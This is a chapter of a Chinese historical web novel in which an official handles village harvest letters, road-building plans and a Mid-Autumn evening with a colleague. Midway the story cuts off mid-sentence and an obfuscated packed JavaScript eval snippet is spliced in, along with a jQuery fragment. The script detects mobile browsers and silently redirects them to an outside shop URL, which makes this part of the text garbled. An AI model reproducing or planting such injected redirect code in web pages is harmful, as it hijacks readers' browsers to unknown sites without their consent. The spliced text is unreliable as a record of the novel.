八月初二,司徒府来了个蜀州来客。
梅家安正在案后批工部送来的汴口段灾后荞麦补种进度旬报,赵栾从外面快步进来,说有个自称蜀州石鼓村来的人在门口等着,手里提着一筐橘子。
赵栾已经把筐接进来了,篾条筐里装着大半筐黄澄澄的橘子,橘皮上还带着翠绿的叶子,一看就是今早刚从树上摘下来的,那人还捎了一封信。
梅家安接过信撕开封口,信纸是那种最便宜的大白纸,墨迹洇了好几处,字歪歪扭扭的,但胜在笔画清晰:
司徒大人,托您的福荞麦收了,一亩地打了快两石,比我们原来种麦子收的还多。
官仓门口那块石台贴的告示村里人每月都去看,这个月存粮比上个月多了好几十石。
您让我们留的冬麦种子已经留好了,九月底就下种,明年五月就能收,到时候村里家家户户都能吃上白面馍。
摘了些橘子让赵老三给您捎去,橘子不值钱,是我们的一点心意,您一定要收下。
梅家安把信折好放进抽屉里,走到廊下见那个送橘人,赵老三是个老实巴交的庄稼人,站在廊柱旁边搓着手,看见梅家安出来连忙弯腰行礼。
她让他免礼,从筐里拿起一个橘子,橘皮被日头晒得微微发烫,剥开之后果肉饱满,汁水顺着手指往下淌,她掰了一瓣放进嘴里,酸甜适中。
“村里人都还好吗?”
“都好看哩!荞麦收了,官仓的粮也补上了,村长说今年冬天不用喝稀粥了,村里那几个被地震砸伤的也都能下地了,医匠给治得好,没留什么后遗症。”
“堰塞体那边怎么样?”
“水放干净了,河道也疏通了。常将军炸的那道口子不大不小刚刚好,下游的桥和堤坝都没冲坏,村里人现在过河不用再绕山路了,走河滩上的新路一炷香就到对岸。”
赵老三说着又从怀里掏出一小布袋,“这是村里几个婶子一起绣的,她们说司徒大人是她们的恩人,没什么能报答的,就绣了几个字托小的带来。”
梅家安接过布袋打开,里面是一方手帕,粗白棉布底子上用红线绣了四个字:一心为民。针脚细密,字迹端正
她把布袋系好,对赵老三说:
“回去告诉村长和几位婶子,橘子我收下了,手帕也收下了,冬麦种子按登记册上各户的田亩数分发,不够的让劝农官上报,司徒府从常平仓调拨。”
“小的记住了。”赵老三又鞠了一躬,被赵栾领出去了。
梅家安让赵栾给西配殿的宋源中送几个橘子过去,又让人给江长滢和江淮平各送了几个,让他们一起尝尝蜀州的橘子。
赵栾端着橘子进西配殿时,宋源中正趴在案上跟一份户部送来的田赋征收则例草案较劲,听见脚步声才抬起头,一眼就看见了那筐黄澄澄的橘子。
“这是哪来的橘子?”他拿起一个凑到鼻子底下闻了闻。
“蜀州石鼓村送来的,梅司徒让卑职给陛下送几个。”
宋源中剥开一个,掰了一瓣放进嘴里,嚼了两口忽然停住了。
“石鼓村,是不是梅司徒信上说的那个村子?荞麦种下去,被水泡了麦田的那个?”
“正是。”
宋源中不说话了,他把橘子瓣慢慢嚼完,把剩下的橘子放在案角,把自己面前那份草案推到一边,重新铺开一张白纸,提笔写了起来:明年中秋节,要让石鼓村的人吃上白面月饼。
赵栾从西配殿出来,迎面碰上江淮平,他手里拿着一份刚到的军报,是凉州方向送来的,正要去司徒府找梅家安商议。
赵栾把梅家安交代的橘子递上去,江淮平接过橘子剥了一瓣放进嘴里嚼了,说了句“蜀州的橘子确实甜”,又问赵栾人走了没有。
赵栾说刚走,江淮平点了点头没再多问,把剩下的橘子揣进怀里,迈步往司徒府正堂方向走去。
当天傍晚江长滢过来送吏部秋考的排期表,手里还攥着半个没吃完的橘子,进门就说:
“这橘子比太仓署从京郊采购的甜,蜀州水土好。”
梅家安把石鼓村村长的信递给她看,江长滢看完没说话,把信折好还给梅家安,坐下来翻开秋考排期表,指着其中一行说:
“青川县的秋考我安排在十月初,让薛喆有足够的时间把水渠的事理出个头绪。”梅家安点了点头,把排期表收好。
日子一天一天往前走,暑气一点没有消退的意思,日头从早晒到晚,正午的宫墙上像烤着一层薄薄的白光,蝉鸣从御河两岸的柳树梢头铺天盖地地灌下来,比七月里那股狠劲有过之而无不及。
梅家安每天照常上朝、批文书、见人,清田署的旬报照例月初送来,户部的奏本照例堆在案角,日子跟在燕云时没什么两样,但在这样日复一日的蝉鸣里,有几件不大不小的事陆续浮出水面,让这个夏天变得跟往年有些不一样了。
立秋那天,早朝上太常寺少卿按惯例奏报了立秋祭祀安排。
散朝之后梅家安去了西配殿,宋源中正趴在案上整理江长滢给他布置的功课,把蜀州七县和庐州三县的清田进度数据整理成对比表,标注出进度最快和最慢的三个县,分析原因。
表格画得歪歪扭扭但数据都抄对了,进度最慢的那个县旁边用炭笔写了四个字:劝农官缺。
“这个缺怎么补?”梅家安问。
“吏部文选司应该从候补名册上选人递补,可是候补名册上的人够不够格、有没有人盯着这个缺,我就不知道了。”
宋源中抬起头,“梅司徒,我想自己去看候补名册,江郎中说秋考期间吏部文选司会把名册送到考功司交叉比对,我让她带我去翻一翻。”
梅家安笑着摸了摸他的脑袋,“去吧,看完了把那个缺额在名册上挂了多久、有没有人被压着,写个便条给我。”
宋源中点了点头,剥开一个石鼓村送来的橘子吃了一瓣,说了句“真甜啊”,又低下头继续整理他的数据表。
又过三日,薛喆的正式呈文到了。
呈文是通过蜀州秦太守转呈的,梅家安拆开,薛喆的字迹工整有力,说已到任一个月,青川是个山区小县,在册农户不足两千户,耕地以山地和河滩地为主。
堰塞体泄洪之后沿河几个村子的河滩地全被洪水泡过,淤泥覆盖了原来的田界,农户之间为田界扯皮的事不少。
他带着劝农官逐村走访,把清田底档摊在田埂上,一户一户核对田界,有争议的就当场拉麻绳丈量,让双方当事人和劝农官同时在登记册上签字画押,目前已完成一半的核查。
呈文第二部分写了官仓告示。
他在县城官仓门口砌了一面石台,八月初一贴了第一张存粮告示。
贴告示那天他让书吏在旁边坐着念了一遍,围观的百姓起初不信,等念完了,有个老汉愣了好一会儿才说“真的假的”,书吏说每个月都贴,下个月初一你来看,那老汉将信将疑地走了。
呈文第三部分是一份修路计划。
青川镇自古产橘子,漫山遍野都是橘林,今年雨水充沛,橘子结得格外好,但山路险峻运不出去,往年只能烂在树上或者挑到县城里贱卖。
他想修一条通往蜀州城的官道支线,附了手绘路线草图,用朱笔标注了沿途地形和预计工程量,还列了初步预算。
沿线农户听说要修路都愿意出工,以工代赈的登记名册已经到了将近四百人。
呈文最后写道:青川百姓刚领到新地契的那几户,把地契折好揣在怀里贴肉放着,走到哪带到哪。
有个老汉说,我种了半辈子地,从来不知道自己名下有多少田,现在知道了,四亩三分,水浇地,西边挨着陈家,东边挨着小河沟,写在地契上,盖着司徒府的红印。
梅家安把这一行字看了两遍,然后提笔写回信。
核田界继续逐村推进,每户田界和清田底档逐条比对,有争议的当场拉绳丈量,不要赶进度。
官仓告示做得好,下月初一那老汉如果来了,把他的反应写进下个月旬报。
修路计划已转工部复核,预算里石料和人工的数据需要补充:
石料来源地距工地多远、怎么运,人工费用按以工代赈标准折算后日均工钱折多少粮。
写完之后她从案角拿起一个石鼓村送来的橘子,放在信旁边,加了一句:
石鼓村的荞麦已收,冬麦九月底下种,青川的事不必急,先核田界,再修路,一步一步来。
信送出去之后,日子继续往前走,等她再抬头看窗外的时候,月亮已经快圆了,八月十五到了。
中秋当天,早朝照常,散朝之后各衙门照常办差,只是散值比平时早了一个时辰。
江长滢傍晚被沈孝仁留住了,秋考第一轮核查结果出来了几处问题,两个人关在吏部签押房里逐条对档,她托人带了口信到司徒府,说是今晚过不来了。
常凤在城外驻地陪他母亲,韩飞回了家,田更启、王定国与妻儿老小共享天伦之乐……
每个人都有各自的去处,梅家安给司徒府的书吏们放了假,赵栾最后一个走,走之前把灶房的热水烧好了,又洗了几个橘子搁在碟子里,问梅家安:
“梅司农,要不我留下来吧。”
“不用,我难得放你一天假,你就好好回去过节吧。”
赵栾走到巷口又回头看了一眼,挥了挥手才走了。
梅家安在院子里坐了一会儿,老槐树的叶子在夜风里沙沙响,她把石凳上的落叶拂了拂,给自己倒了杯凉茶,月亮已经升起来了,又圆又亮。
院门被推开的时候,月亮已经升到了槐树梢上,江淮平站在门口,左手拎着个食盒,右手提着一小坛酒,他换了身深灰色的便袍,月光把他的脸照的半明半暗。
“你怎么来了?”梅家安站起来,“你不是回江家旧宅了吗?”
“去过了。”江淮平走进来,把食盒搁在石桌上,揭开盖子,里面几碟菜,两副碗筷,还有一碟蜜瓜。
他在她对面坐下,揭了酒坛的泥封,“人太多,吵得慌,出来透透气。”
“你就这么跑出来了?那边不找你?”
“找什么,一院子人都在赏月喝酒,没人注意我。”江淮平把酒倒进两只碗里,一只推到她面前,“倒是你,一个人坐在这儿喝茶,连个说话的人都没有。”
“谁说没有?”梅家安端起酒碗喝了一口,“你这不是来了么。”
江淮平嘴角动了动,也端起碗喝了一口,两个人隔着石桌坐着,月光照在中间的菜碟上。
梅家安夹了一筷子鱼放进嘴里,抿了一下。
“江府的厨子手艺还行。”
“嗯。”江淮平放下酒碗,“今天从早上忙到散值,孙承德找你说汴口堤坝加固的事了吧?”
“找了。”梅家安放下筷子,“他那个巡查队的编制已经拟好了,从都水清吏司抽六个老师傅,沿河各州县河工所各抽一人,汛前三个月沿河巡查一遍。
他还说想在汴口设一个常驻观察站,汛期派人常驻,每天测水位、观察堤基变化,不用等出事了再派人去。”
“这个主意不错,但要花不少银子。编制定下来之后多了一笔俸禄支出,加上观察站的物料和值守人员的火耗,至少得再拨五百两。”
“我算了,差不多是这个数。”梅家安把酒碗端起来,“钱从太府寺那边出,汴口段的防汛专款账上还有余银,抄家抄出来的那笔钱不能全花在别处,防汛的事不能省。”
江淮平点了点头。
“那就批了。”
“你那边呢?”梅家安放下酒碗,“弩手营秋季换防计划,常凤递上去没有?”
“递了,今天下午刚签完。”江淮平夹了一块藕,“他把沿河几个靶场的河滩地都标出来了,但有几块跟清田底档对不上,底档上登记的是官地,实际上已经被附近的农户开出来种了菜。
换防计划里他把那几块地圈进了靶场范围,我没批,让清田署的人先下去核一遍。”
“哪几块?”
江淮平说了两个地名,梅家安想了想,转身从窗台上摸出随身的清田底档索引册,翻到对应的页数,念了两户的名字。
“这两户是去年秋收之后才开出来的,当初清田的时候还是河滩荒地,不在底档登记范围内。
劝农官发过告示,说河滩地属于官地,私开出来的不登记,他们应该是赶在清田结束之后才动手的。”
“那这事怎么处理?”
梅家安合上索引册,“劝农官再下去一趟,跟他们说清楚。
靶场的地不能动,种了菜的那几块按官地使用章程补交租金,菜收了之后不许再种。
愿意配合的,明年清田的时候把这部分河滩地按章程登记入册;不愿意配合的,按侵占官地论处。”
江淮平听完看了她一眼。
“你把章程背下来了?”
“背了。”梅家安把索引册放回窗台,“当初定章程的时候你也在,你不也背了。”
江淮平没接话,端酒喝了一口,梅家安夹了一块蜜瓜放进嘴里,嚼完咽了,忽然说了一句:
“石鼓村的橘子你尝过了,觉得怎么样?”
江淮平搁下筷子,“剥了一个,很甜,蜀州的橘子跟庐州的不一样,庐州的皮薄肉厚,蜀州的个头小一点,但香气足,一剥开满屋子都是味。”
“这批是荞麦收完之后村里人补种的,今年第一年挂果,结得不多,但味道比我想象的好。
秦太守在旬报里也提了,说石鼓村的坡地种蜜橘比种麦子合适,每亩能多收不少,就是路不好,橘子摘下来运不出去,山路颠簸,到县城就坏了一半。”
“薛喆在青川主持修路。”
“是,他呈文里说了,青川的橘子也卖不出去。”梅家安把酒碗端起来又放下,“庐州那边也是。
王定国军报上说鹰嘴崖集市开起来之后,农户头一批出山的蜜瓜当天就卖完了,后面几天送来的量翻了好几倍,集市上收瓜的商贩比农户还多。
路通了,东西就能运出来,运得出来,地里种的东西才值钱。”
“所以你给他批了修路计划。”
“是我批的,但工部复核还没完他报上来的预算里石料和人工的数据太粗了,我要他重新算。
青川的石料场在县城东面三十里,运到修路的工地要走一段山路,这段路有没有桥、雨季能不能走,他没写。
这部分成本不加上去,修到一半银子不够就得停工。
我信已经发出去了,让他把石料来源地到工地的运输距离、路况、雨季通行情况全部写清楚,再报一次。”
“修路的钱。”
“常平仓的存粮利息、太府寺新政备用银、庐州地方的集市收益,还有抄家抄出来的那一笔,加起来绰绰有余。”
梅家安端起酒碗又喝了一口,“咱们又不乱花钱,怎么会没钱修路搞民生呢?
等薛喆把石料数据补上来之后,如果预算合理,青川的官道支线今年就能开工,有机会的话我是真想把路修到每家每户的大门口。”
“早知如此,我就不操心了。”江淮平说。
“你操心过?”梅家安抬眼看他。
江淮平端着酒碗的手顿了一下,搁下碗的时候碗底磕在石桌上发出一声短促的响,他看了一眼碗里的桂花酒,又抬眼看向她,只说了一个字:“操。”
梅家安把酒杯搁下。
“你操心什么。”
“操心你。”江淮平说。
这句话落下去之后,两个人都没有立刻接话,风从槐树叶子里穿过,沙沙响了一阵。
梅家安把碗正了正,指尖搭在碗沿上,过了一会儿才开口:“说完了?”
“说完了。”
“说完了就吃东西,鱼都凉了。”说完她拿起筷子夹了一块鱼放进自己碗里,没有看他。
江淮平拿起筷子也夹了一块,两个人就这么吃了一会儿,筷子碰着碟沿的声响在夜风里断断续续的。
“对了,庐州那个蜜瓜还有没有?”梅家安忽然问道。
“还有一筐。”
“明天送一个到司徒府来,我让赵栾切了分给书吏们。”
“行。”江淮平说,“那份巡查队章程的净本我批好了,明天顺道带过来。”
梅家安嘴角弯了一下,把碗里最后一口酒喝尽,空碗搁在石桌上,碗底朝上翻过来晾着。
“那你明天下午来的时候从后门走,赵栾认路。”
“正门也不拦我。”
“后门近。”
江淮平没再说什么,站起来开始收拾食盒。他把空碟子一层层叠进去,碗筷码好,盖子合上,拎在手里,动作利落,他走到门口停了一下:“明天见。”
“明天见。”梅家安说。
门合上了,脚步声沿着巷子很快走远。
梅家安在石凳上坐了一会儿,把石桌上那碟没动的桂花糕端起来看了看,放回了食盒旁边的位置,然后她站起来,端着空酒碗走回正堂,把碗搁在灶台上,转身吹了灯。
中秋过后的第二天,早朝照常,散朝之后江淮平亲自送来了蜜瓜和巡查队章程,他和梅家安一同在司徒府正堂办公,常凤送来了弩手营秋季换防计划。
常凤在换防计划里提了个事,弩手营在沿河驻军点设了几个固定靶场,秋训期间河道水位下降,靶场外侧河滩裸露出来,附近村民有在河滩上放牛捡柴火的,靶场安全范围需要重新划定。
梅家安翻开沿河各县清田底档索引,逐块核对河滩地的登记性质,在页脚逐一标注。
江淮平接过标注好的换防计划在末尾签了字,让亲卫送回弩手营,他签字的时候抬头看了她一眼,她正低头翻文书,两个人谁都没提昨晚的事。
中秋一过,日子又恢复了惯常的流速,早朝、文书、见人、批阅,日子叠着日子,没什么特别的。
八月十九,吏部秋考正式开始。
江长滢在考功司主持第一轮档案核查,当天下午就查出户部仓场司一个主事的考课评语连续三年优等,但度支档案显示他经手的常平仓修缮款有两笔没有对应的工程验收记录。
她把比对结果连夜写成报告,第二天一早就送到了司徒府,梅家安看完报告,批了三个字:移交大理寺。
八月二十二,凉州军报和薛起的回信同时到了。
军报是常规的边境防务旬报,薛起在末尾附了一封私信,梅家安拆开,薛起的字迹简洁克制,开篇便说收到司徒府关于荞麦试种的章程,已在凉州城外沙地划出试验田,按回信中提供的播种深度和底肥配比在做。
然后笔锋一转,说上一封信里提到手下人在凉州城外打井找水时挖出了黑土,他收到司徒府回信后立即让人沿着黑土层往上下游各打了三口探井,每口井取了三层土样,用油纸包裹,标注了探井编号、取样深度和取样日期,已交由驿卒送往京城。
信的末尾,薛起专门用一段写了那个挖井取土样的人,中常侍案发后被判流放,到了凉州之后从充役营里被提出来管军械仓库,去年盘点账目和实物完全吻合,这次打探井取土样也是他带着人干的。
薛起写道,此人自到凉州后勤勉尽职,请司徒府酌情记功。
梅家安看完信,拿起军报走到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763210|203450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太尉府。
“薛起这封信,替手下请功是真,试探我们也是真。”她在他对面坐下,手指在信纸上点了一下。
“他在西北撑了十几年,看人用人有自己的标准。
他敢把犯过事的人提上来管军械库,说明他信这个人已经改了,他在信里替这个人请功,是看我们愿不愿意给第二次机会。
我们给了,他手下的人就会知道跟着新政走不会错。”
江淮平没答话,把信折好放在案角,起身走到舆图前,梅家安跟过去。
“等土样到了我亲自验。”她站在舆图旁,目光落在凉州那一片上,“如果那层黑土真是古时候留下来的肥土层,陇右沙地改土的方案就能定下来。
荞麦试种加上黑土改土,两件事一起推,薛起在凉州的屯田局面就能翻过来。”
江淮平在舆图上凉州的位置旁边用指尖划了一道,然后转身从案上抽出一份回文底稿,提笔在末尾加了一句:
凉州驻军粮草调度从下月起由司徒府直接拨付,不走地方州县转手。搁下笔,把底稿推到她面前。
梅家安看完,点了下头。
两个人并肩站在舆图前,江淮平的手指从京城沿陇西走廊划到凉州,在那片标注了黑土层的位置上轻轻点了头。
等到吏部文选司把青川县劝农官的递补名单送到了司徒府已经是九月中旬了。
沈孝仁按梅家安上次批的要求,从燕云旧部中选了一个在徐州清田时管过鱼鳞册的老书吏,姓方,四十出头,祖籍蜀州,对蜀州本地的方言和农时都熟悉。
梅家安看完履历在名单上签了字,又在附函里加了一句:
此人到任后协助薛喆逐户核对清田底档,兼任青川县清田分署主事。
江长滢在同一天送来了考功司对薛喆到任后的第一份履职记录,上面写着:
到任之后逐村走访农户,完成柳树坪村清田底档复核,纠正豪绅占田纠纷一桩,已在官仓门口张贴第一期存粮告示,渠线踏勘完毕,计划秋收后动工。
考课评语那一栏,江长滢写的是:
初到任便能切中要害,三件事同步推进、有条不紊,足见其胸有沟壑,堪当大任。
梅家安把履职记录仔细看了一遍,对江长滢说:“你这个评语写得公道。”
“他在青川干的每一件事都和他呈文里写的一模一样,没有打折,没有缩水,没有因为当地富绅官员打压就改了主意。
干基层的人就应该像他一样摒弃镀金思想,不图博取资历,一心为老百姓谋福祉,他比那些在官场里泡了大半辈子的人强多了。”
江长滢说完端起茶盏喝了一口,梅家安点了点头。
江淮平那边也没停,西北的军报每旬照常发来,薛起在凉州又打退了两股西羌的试探性进攻,军报上言辞依旧很克制,只报战况不表功。
江淮平把军报反复看了几遍,提笔在舆图上凉州的位置旁边批了一段话:
粮道通畅,驻军屯田自给率上升,无需额外调拨。
又让太尉府主簿把近半年来发给凉州的粮草调拨单全部誊抄了一份,和梅家安的赈灾调度记录一起装订成册,封面上一字未写,放在案角最顺手的位置。
九月底,凉州送来的军报比平时多了一份,薛起在军报里说凉州驻军今年秋粮自给率已经超过了一半,加上西域通商换回来的粮草,这个冬天不需要朝廷额外调拨一粒粮。
军报末尾还附了一封薛起亲笔写的短笺,说听闻蜀州地震后司徒大人亲自押粮入蜀、处置堰塞体、补种荞麦,凉州将士深为感佩,他让人在凉州官仓门口也砌了一面石台,每月初一张榜公布存粮数目。
梅家安把短笺看完,递给江淮平。
“凉州官仓门口那块石台,就是他递过来的投名状。他在凉州砌石台贴告示,就是告诉天下人,凉州军也按司徒府的章程办事。以后他麾下那些将领看到告示就知道粮草调度是透明的,没有人从中贪墨,也就不会生出异心。”
“薛起这个人,能在西北守十几年,靠的就是眼力。什么东西值得赌,什么东西不值得赌,他比朝堂上这些人看得清楚得多。
以前他观望,是因为他不知道我们能不能扛得住,宗室反扑、淮阳叛乱、蜀州地震,每一桩都能把一个根基不稳的新朝掀翻。
我们扛过来了,他才递出这封短笺。”江淮平把短笺重新折好放在舆图旁边,“不过凉州太远,他手下的人能在凉州扎根,靠的是凉州本地大族的支持。
这些大族在凉州经营了好几代,手里有地、有粮、有私兵,薛起能用他们,但不能完全压住他们。
我们隔着一千多里地,不知道凉州大族内部的利益分配到底是个什么局面,贸然插手反而容易让薛起为难。
所以眼下能做的就是把凉州往京城方向的粮道和驿道再修一修,让凉州的马跑得更快、信送得更勤,路修好了,凉州就不那么远了。”
“从凉州到京城,中间要经过好几段山路,冬天的雪封山、夏天的泥石流都会拖慢驿马的速度。
要想让这条路四季通畅,光靠现有的驿道远远不够,得在几个关键的隘口建换马站,每站囤足草料和备用马匹。”
梅家安从抽屉里翻出太府寺上个月的存银月报,扫了一眼末尾的数字,“太府寺那边抄家抄出来的赃款,除去抚恤银、常平仓修缮、蜀州赈灾和庐州官道改建的开支,库房里应该还有好几万两。
先从太府寺拨一部分作为前期勘线费用,让工部都水清吏司派几个人沿凉州往东南方向勘一条新驿道出来。
勘线的人到了凉州地界之后让薛起派人接应,他比都水司的人更清楚凉州周边的山川地形。”
江淮平点了点头,梅家安在舆图旁边记了几笔,把太府寺的存银数目和前期勘线预算并列写在一起,又在下面加了两行字:
驿道沿线换马站选址须兼顾水源与草料供应,每站间距不超过六十里,换马站建成后由沿途州县驻军营轮值管理。
她搁下笔,江淮平从案上抽出一份太尉府刚收到的庐州方向军报。
“王定国在庐州又剿了一股山匪,是鹰嘴崖峡谷里漏网的残部。
剿灭之后他从山沟里搜出了好几车硝石和硫磺,大别山里有天然硝石矿脉,之前山匪占着,现在山匪清干净了,这些矿脉不能荒着。”
“铁官作坊一直用燕山那边的硫磺和硝石,燕山路远,运到京城成本不低。
如果大别山能出产硝石,就近运到庐州铁官分坊,不光能省一笔运费,还能把庐州本地的军械制造规模扩大。”
梅家安说着接过军报从头到尾看了一遍,越说越快。
“大别山不只是匪患之地,山里有硝石矿脉、原始松林,有水源落差可以驱动水力锤,还有被山匪逼走之后抛荒的层层梯田。
这些资源散落在深山里,不把它们归置归置、不规划出几条标准驮道,迟早还会被下一拨山匪盯上。”
她已经铺开一张白纸,拿炭笔在上面飞快地画了起来。
鹰嘴崖硝石矿点和峡谷集市之间隔着两道山脊和一条溪涧,之前在峡谷集市改建时清田署丈量队就已经把周边的地形走了一遍。
从矿点到峡谷集市的驮道要分段修,先修矿点到溪涧这段,坡度最陡;溪涧上架一座石墩桥;过了溪涧再修到峡谷集市。驮道沿途每十里设一个临时囤矿点,用木棚搭就行,顶上铺油布防雨。
集市本身已经有官署、仓库和围墙,正好在那里设一处铁官分坊。
江淮平拿过她的笔,在那张草图的硝石矿点和大别山原始松林之间又画了一条虚线,一直连到庐州城外驿道的标记上。
“不止修矿点到集市这一段驮道,把大别山整体的资源驿道体系一并规划。
硝石从矿点运到峡谷集市,铁官分坊造出农具和刀剑之后再用驮骡运到庐州城外的驿道主线上。
往后大别山里的木材、药材、野茶,都能靠同一条驿道体系运出来,沿途集市串联成网,山货有路可走,农户有市可卖。”
梅家安看着他在自己草图上补的那条虚线。
“我让何崇的副手从太仓署转运司调一个规划驿道的老手出来,加上工部都水司的人、庐州清田分署、当地猎户向导,一起进山踏勘。
入冬之前把大别山资源驿道体系的总体踏勘完成,前期费用从太府寺新政备用银和庐州地方财政的集市收益里出。
开春之后先动工修硝石矿点到峡谷集市这一段,别的路段等踏勘数据汇总之后再定优先级。”
“修路的银子不能让庐州地方财政全担着,从太府寺新政备用银里出大头,以司徒府的名义拨下去。”江淮平顿了一下,“还有件事。
造火药用的硝石不管是京城铁官作坊还是庐州分坊,都要有本总账。
哪个矿出多少硝石、运到哪里、用在什么地方、经手人是谁,全部登在册子上,每季度汇总一次送到太尉府。
火药和军械一样,不能有任何一笔账说不清来路去向。”
“这本总账由太尉府派专人和铁官作坊共同管理,司徒府定期抽检。”梅家安在草图的空白处画了一个方框,里面写了“硝石总账”四个字,旁边注了小字说明。
江淮平低头看着那张被两个人画得密密麻麻的草图,硝石矿点、原始松林、水力锤、峡谷集市、资源驿道、庐州城外驿道主线,每一处都被炭笔圈了不止一遍,虚线和实线交织成一张粗粝的路网。
梅家安搁下炭笔,搓了搓手指上沾的炭灰,靠回椅背上,窗外起了风,正阳门方向的天空灰蒙蒙的,云层压得很低,像是要下暴雨……